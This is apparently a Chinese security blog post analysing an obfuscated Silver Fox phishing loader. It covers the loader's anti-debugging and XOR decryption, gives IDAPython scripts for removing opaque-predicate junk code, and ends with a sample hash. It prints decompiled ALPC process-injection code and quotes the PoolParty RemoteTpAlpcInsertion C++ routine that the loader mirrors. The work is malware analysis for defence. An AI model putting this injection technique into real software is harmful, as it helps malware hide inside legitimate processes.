名单类型银狐样本的对抗分析
笔者最近一直在关注银狐的攻击,发现有一类的银狐变化特别快,而且还特别活跃。相信各位师傅看过这样子的银狐钓鱼:**2026年第一季度违规内职人员名单信息公告.exe**,这个团伙现在的加载器已经是多次迭代的,近期主要在混淆方面进行迭代,增加了混淆后,又不好分析,ida还容易崩,单步调试好一会,找到关键函数却眼前一黑,密密麻麻的基本块糊在一起,文章会着重分析如何减轻垃圾代码的影响。
背景
笔者最近一直在关注银狐的攻击,发现有一类的银狐变化特别快,而且还特别活跃。相信各位师傅看过这样子的银狐钓鱼:2026年第一季度违规内职人员名单信息公告.exe,这个团伙现在的加载器已经是多次迭代的,近期主要在混淆方面进行迭代,增加了混淆后,又不好分析,ida还容易崩,单步调试好一会,找到关键函数却眼前一黑,密密麻麻的基本块糊在一起,文章会着重分析如何减轻垃圾代码的影响。
详细分析
其实对这种混淆,可以直接打断点,针对关键API调用进行动态调试,花点时间也能分析出来。笔者是犟种,就是要看看这混淆代码下是怎么个事。不过先不急,最近这批样本也迭代了一波,不会ida开屏就看到混淆代码了,多加了一层解密,找一个比较新的样本(8cd23d5552c846482cefa3a0344928e924312416a9ac6f1b9f2e6a1f05ae13f2),来看看怎么个事。
最开始会简单检测一下调试器,检测到就退出程序
然后进入解密,ZwProtectVirtualMemory修改内存属性后异或解密,解密的数据位于.text段,属于编译后处理的数据。
我们转入到解密后的代码中,函数的调用是间接调用的,这里就不过多说明,分析关键代码,开始遍历所有服务找到计划任务的服务进程pid,为后续注入做准备。
然后风格突变,起手看到流程图中基础块挤成一片。
查看伪代码有大量的计算过程,这是虚假控制流 (Bogus Control Flow, BCF)中的不透明谓词 (Opaque Predicate),常见的混淆方式。
我们要做的是利用IDA 的“死代码消除”(DCE)功能,让这些代码在ida中的分析被识别为确定值计算,ida就能在展示分析结果时把不会执行的代码去除,如
if([变量]!=[变量]){
code
......
}变成
if([常量]!=[常量]){
code
......
}这批代码中有两种固定值被设计成变量,如sub_14008E740,将常量藏在函数中使得ida无法计算。
char sub_14008E740()
{
return 6;
}
#汇编代码
; char sub_14008E740()
sub_14008E740 proc near
mov al, 6
retn
sub_14008E740 endp还有大量的全局变量如byte_1400BE9C0,声明为char类型,有初始值,查看交叉引用,全部为读取没有写入,实则是常量。
以这两个作为切入点,直接用AI写ipython脚本替换所有call 返回常量的函数的指令为mov al,立即数,如
call sub_14008E740 => mov al, 6,剩余字节用nop替代,char byte_1400BE9C0就修改定义变成常量const char byte_1400BE9C0,用AI来写这个ipython脚本,先要对返回常量的函数进行识别,后续发现mov al, 0实际代码会是xor al,al,需要再额外处理。
def is_simple_constant_function(func_ea):
"""
检查函数是否为简单的返回常量函数:mov al, 常量; ret
"""
try:
# 获取函数结束地址
func_end = idc.get_func_attr(func_ea, idc.FUNCATTR_END)
# 遍历函数指令
current = func_ea
instructions = []
while current < func_end:
# 解码指令
insn = ida_ua.insn_t()
insn_len = ida_ua.decode_insn(insn, current)
if insn_len == 0:
break
# 收集指令信息
mnem = idc.print_insn_mnem(current)
op1 = idc.print_operand(current, 0)
op2 = idc.print_operand(current, 1)
instructions.append((current, mnem, op1, op2))
current += insn_len
# 检查指令模式
if len(instructions) == 2:
# 第一条指令:mov al, 常量
if (instructions[0][1] == "mov" and
instructions[0][2] in ["al", "AL", "eax", "EAX", "ax", "AX"] and
instructions[0][3].isdigit() and 0 <= int(instructions[0][3]) <= 9):
# 第二条指令:ret
if instructions[1][1] in ["retn", "ret"]:
return True, int(instructions[0][3])
# 第一条指令:xor al,al
elif (instructions[0][1] == "xor" and
instructions[0][2] in ["al", "AL", "eax", "EAX", "ax", "AX"] and
instructions[0][3] in ["al", "AL", "eax", "EAX", "ax", "AX"]):
if instructions[1][1] in ["retn", "ret"]:
return True, int(0)
except Exception as e:
print(f"检查函数 {hex(func_ea)} 时出错: {e}")
return False, None后续只需要对识别为目标函数的直接调用替换成赋值指令。
def patch_call_instruction(call_addr, const_value):
"""
将调用指令替换为 mov al, 常量
"""
try:
# 解码当前调用指令
insn = ida_ua.insn_t()
insn_len = ida_ua.decode_insn(insn, call_addr)
if insn_len == 0:
return False
# 计算新指令长度
# mov al, 常量 通常是2字节(B0 + 常量值)
new_insn_len = 2
# 如果需要保持代码长度不变(可选)
if new_insn_len < insn_len:
# 用NOP填充剩余字节
nop_count = insn_len - new_insn_len
else:
nop_count = 0
# 构造新指令:mov al, 常量
new_insn_bytes = bytes([0xB0, const_value]) # B0 = mov al, immediate
# 写入新指令
ida_bytes.patch_bytes(call_addr, new_insn_bytes)
# 填充NOP(如果需要)
for i in range(new_insn_len, insn_len):
ida_bytes.patch_byte(call_addr + i, 0x90) # 0x90 = NOP
# 重新分析代码
#idc.analyze_area(call_addr, call_addr + insn_len)
# 添加注释
idc.set_cmt(call_addr, f"内联优化: mov al, {const_value}", 0)
return True
except Exception as e:
print(f"修补指令 {hex(call_addr)} 时出错: {e}")
return False执行脚本完成第一步patch。
现在的伪代码还有大量全局变量混在其中,需要去修改成常量。
处理后的代码还是有点长,但已经初具人形了,能够阅读了,取一段出来,可以看到是一个解密算法,把无关赋值操作去掉,化简得到实际的解密算法长这样v13[i] = (i - 111) + v13[i] - 2 * ((i - 111) & v13[i]),通过观察每个字符串的key是(i+-[随机数]),很容易就能编写出解密的脚本。
v30 = (_BYTE *)sub_14000F720(v11, v321); //获取加密数据
if ( !*v30 )
{
v13 = v30 + 1;
for ( i = 0; (unsigned __int64)i < 8; ++i )
{
v288 = (double)(i - 111);
v289 = v288 * ((double)7 - (double)3 * 2.0);
v18 = (int)(v289 * (double)1);
v290 = v288;
v291 = v289;
v19 = v18; // v18最终就是(i - 111)
v13[i] = v18 + v13[i] - 2 * (v18 & v13[i]); //解密 v13是密文
//v13[i] = (i - 111) + v13[i] - 2 * ((i - 111) & v13[i]);
}
}
*v30 = 1;
v308 = v30 + 1;
GetModuleFileNameA(0i64, Filename, 0x104u);同时通过去混淆很快就能定位到关键调用。
去混淆后的代码再经过手动化简,提取出关键的注入代码流程,是一个alpc注入的过程。
__int64 sub_1400688E0()
{
...
if ( v77 > 0 )
{
...
}
else
{
LABEL_54:
v943 = 0LL;
v1015[1] = TpAllocAlpcCompletion;
v54 = ((__int64 (__fastcall *)(__int64 *, _QWORD, const __int64, _QWORD, _QWORD))TpAllocAlpcCompletion)(
&v943,
v1015[0],
callback_address_1400BE9B8,
0LL,
0LL);
v940 = v54 < 0;
v1016 = (double)v940 * ((double)7 - (double)3 * 2.0);
v80 = (int)(v1016 * (double)1);
if ( !v80 )
goto LABEL_57;
v1017 = (double)1;
v1018 = (double)1 * ((double)7 - (double)3 * 2.0);
v81 = (int)(v1018 * (double)1);
result = (unsigned int)v81;
if ( v81 > 0 )
{
}
else
{
LABEL_57:
v945[0] = 6;
v945[1] = 6;
v946 = v1019;
memset(v1064, 0, sizeof(v1064));
LODWORD(v1064[0]) = 48;
v1064[2] = v945;
memset(v1068, 0, 0x48uLL);
LODWORD(v1068[0]) = 0x20000;
v1068[2] = 328LL;
v1020 = NtAlpcCreatePort;
v54 = ((__int64 (__fastcall *)(_QWORD *, _QWORD *, _QWORD *))NtAlpcCreatePort)(v1049, v1064, v1068);
v942 = v54 < 0;
v1021 = (double)v942 * ((double)7 - (double)3 * 2.0);
v84 = (int)(v1021 * (double)1);
if ( !v84 )
goto LABEL_60;
v1022 = (double)1;
v1023 = (double)1 * ((double)7 - (double)3 * 2.0);
v85 = (int)(v1023 * (double)1);
result = (unsigned int)v85;
if ( v85 > 0 )
{
}
else
{
LABEL_60:
memset(&v24, 0, sizeof(v24));
memset(&v25, 0, sizeof(v25));
...
*(_BYTE *)v115 = 1;
v1032 = (LPCSTR)(v115 + 1);
...
*(_BYTE *)v116 = 1;
v1033 = LoadLibraryA((LPCSTR)(v116 + 1));
VirtualAllocEx = GetProcAddress(v1033, v1032);
memset(&v26, 0, sizeof(v26));
memset(&v27, 0, sizeof(v27));
...
*(_BYTE *)v117 = 1;
v1042 = (LPCSTR)(v117 + 1);
...
*(_BYTE *)v118 = 1;
v1043 = LoadLibraryA((LPCSTR)(v118 + 1));
WriteProcessMemory = GetProcAddress(v1043, v1042);
v1045 = VirtualAllocEx;
v944 = ((__int64 (__fastcall *)(const __int64, _QWORD, __int64, __int64, int))VirtualAllocEx)(
process_handle_1400BE9B0,
0LL,
296LL,
12288LL,
4);
v1047 = WriteProcessMemory;
((void (__fastcall *)(const __int64, __int64, __int64, __int64, _QWORD))WriteProcessMemory)(
process_handle_1400BE9B0,
v944,
v943,
296LL,
0LL);
memset(v1057, 0, sizeof(v1057));
v1057[0] = v944;
v1057[1] = sub_14005E660(process_handle_1400BE9B0);
v1049[1] = NtAlpcSetInformation;
((void (__fastcall *)(_QWORD, __int64, _QWORD *, __int64))NtAlpcSetInformation)(v1049[0], 2LL, v1057, 16LL);
memset(v1070, 0, sizeof(v1070));
v1070[0] = 48;
memset(&v28, 0, sizeof(v28));
v119 = (_BYTE *)sub_14000DF20(&v28, v1071);
if ( !*v119 )
{
v53 = v119 + 1;
for ( i7 = 0; (unsigned __int64)i7 < 0x10; ++i7 )
{
v1050 = (double)(i7 + 47);
v1051 = v1050 * ((double)7 - (double)3 * 2.0);
v96 = (int)(v1051 * (double)1);
v1052 = v1050;
v1053 = v1051;
v97 = v96;
v53[i7] = v96 + v53[i7] - 2 * (v96 & v53[i7]);
}
}
*v119 = 1;
v1054 = v119 + 1;
memset(&v1079[1], 0, 0x40EuLL);
v1079[0] = 8;
v1079[1] = 48;
qmemcpy(&v1079[20], v119 + 1, 0x3E8uLL);
v1056[0] = 1040LL;
v938 = -10000000LL;
v1056[1] = NtAlpcConnectPort;
return ((__int64 (__fastcall *)(char *, _WORD *, _DWORD *, _QWORD *, int, _QWORD, _WORD *, _QWORD *, _QWORD, _QWORD, __int64 *))NtAlpcConnectPort)(
v1058,
v945,
v1070,
v1068,
0x20000,
0LL,
v1079,
v1056,
0LL,
0LL,
&v938);
}
}
}
return result;
}进一步分析验证,这份注入的代码与poolparty的RemoteTpAlpcInsertion一一对应,后续就是自我删除和shellcode的流程,这里就详细分析了,笔者看了下与以往的攻击链并无过多差距。
void RemoteTpAlpcInsertion::SetupExecution() const
{
/* We can not re-set the ALPC object IO completion port, so we create a temporary ALPC object that will only be used to allocate a TP_ALPC structure */
const auto hTempAlpcConnectionPort = w_NtAlpcCreatePort(nullptr, nullptr);
BOOST_LOG_TRIVIAL(info) << boost::format("Created a temporary ALPC port: %d") % hTempAlpcConnectionPort;
const auto pTpAlpc = w_TpAllocAlpcCompletion(hTempAlpcConnectionPort, static_cast<PTP_ALPC_CALLBACK>(m_ShellcodeAddress), nullptr, nullptr);
BOOST_LOG_TRIVIAL(info) << "Created TP_ALPC structure associated with the shellcode";
UNICODE_STRING usAlpcPortName = INIT_UNICODE_STRING(POOL_PARTY_ALPC_PORT_NAME);
OBJECT_ATTRIBUTES AlpcObjectAttributes{ 0 };
AlpcObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
AlpcObjectAttributes.ObjectName = &usAlpcPortName;
ALPC_PORT_ATTRIBUTES AlpcPortAttributes{ 0 };
AlpcPortAttributes.Flags = 0x20000;
AlpcPortAttributes.MaxMessageLength = 328;
const auto hAlpcConnectionPort = w_NtAlpcCreatePort(&AlpcObjectAttributes, &AlpcPortAttributes);
BOOST_LOG_TRIVIAL(info) << boost::format("Created pool party ALPC port `%s`: %d") % g_WideString_Converter.to_bytes(POOL_PARTY_ALPC_PORT_NAME) % hAlpcConnectionPort;
const auto pRemoteTpAlpc = static_cast<PFULL_TP_ALPC>(w_VirtualAllocEx(*m_p_hTargetPid, sizeof(FULL_TP_ALPC), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
BOOST_LOG_TRIVIAL(info) << boost::format("Allocated TP_ALPC memory in the target process: %p") % pRemoteTpAlpc;
w_WriteProcessMemory(*m_p_hTargetPid, pRemoteTpAlpc, pTpAlpc, sizeof(FULL_TP_ALPC));
BOOST_LOG_TRIVIAL(info) << "Written the specially crafted TP_ALPC structure to the target process";
ALPC_PORT_ASSOCIATE_COMPLETION_PORT AlpcPortAssociateCopmletionPort{ 0 };
AlpcPortAssociateCopmletionPort.CompletionKey = pRemoteTpAlpc;
AlpcPortAssociateCopmletionPort.CompletionPort = *m_p_hIoCompletion;
w_NtAlpcSetInformation(hAlpcConnectionPort, AlpcAssociateCompletionPortInformation, &AlpcPortAssociateCopmletionPort, sizeof(ALPC_PORT_ASSOCIATE_COMPLETION_PORT));
BOOST_LOG_TRIVIAL(info) << boost::format("Associated ALPC port `%s` with the IO completion port of the target process worker factory") % g_WideString_Converter.to_bytes(POOL_PARTY_ALPC_PORT_NAME);
OBJECT_ATTRIBUTES AlpcClientObjectAttributes{ 0 };
AlpcClientObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
const std::string Buffer = POOL_PARTY_POEM;
const auto BufferLength = Buffer.length();
ALPC_MESSAGE ClientAlpcPortMessage{ 0 };
ClientAlpcPortMessage.PortHeader.u1.s1.DataLength = BufferLength;
ClientAlpcPortMessage.PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + BufferLength;
std::copy(Buffer.begin(), Buffer.end(), ClientAlpcPortMessage.PortMessage);
auto szClientAlpcPortMessage = sizeof(ClientAlpcPortMessage);
/* NtAlpcConnectPort would block forever if not used with timeout, we set timeout to 1 second */
LARGE_INTEGER liTimeout{ 0 };
liTimeout.QuadPart = -10000000;
w_NtAlpcConnectPort(
&usAlpcPortName,
&AlpcClientObjectAttributes,
&AlpcPortAttributes,
0x20000,
nullptr,
(PPORT_MESSAGE)&ClientAlpcPortMessage,
&szClientAlpcPortMessage,
nullptr,
nullptr,
&liTimeout);
BOOST_LOG_TRIVIAL(info) << boost::format("Connected to ALPC port `%s` to queue a packet to the IO completion port of the target process worker factory") % g_WideString_Converter.to_bytes(POOL_PARTY_ALPC_PORT_NAME);
}IOCs
母体文件
8cd23d5552c846482cefa3a0344928e924312416a9ac6f1b9f2e6a1f05ae13f2
针对银狐APT新变种的强混淆样本,提出IDA自动化去混淆方案,成功还原ALPC进程注入逻辑。
由 AI 根据全文自动生成,仅供参考,以原文为准